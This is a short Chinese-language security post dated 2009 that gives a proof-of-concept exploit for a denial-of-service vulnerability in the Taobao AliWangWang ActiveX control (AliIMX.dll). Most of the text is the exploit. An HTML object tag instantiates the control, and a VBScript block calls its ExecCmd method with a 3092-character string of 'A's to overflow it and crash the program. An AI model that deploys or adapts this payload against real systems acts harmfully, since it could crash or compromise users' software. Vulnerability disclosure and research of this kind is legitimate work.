淘宝旺旺ActiveX控件导致淘宝旺旺拒绝服务漏洞POC
来源：岁月联盟
时间：2009-10-08
淘宝旺旺ActiveX控件导致淘宝旺旺拒绝服务漏洞
<object classid=’clsid:5D09DD40-CDC4-4C56-B615-0D1E3B357C2B’ id=’target’ ></object>
<script language=’vbscript’>
targetFile = "C:/Program Files/AliWangWang/AliIMX.dll"
prototype = "Sub ExecCmd ( ByVal strCmd As String )"
memberName = "Execmd"
progid = "AliIMXLib.WangWangX"
argCount = 1
arg1=String(3092, "A")
target.ExecCmd arg1
</script>
//yxlink.com
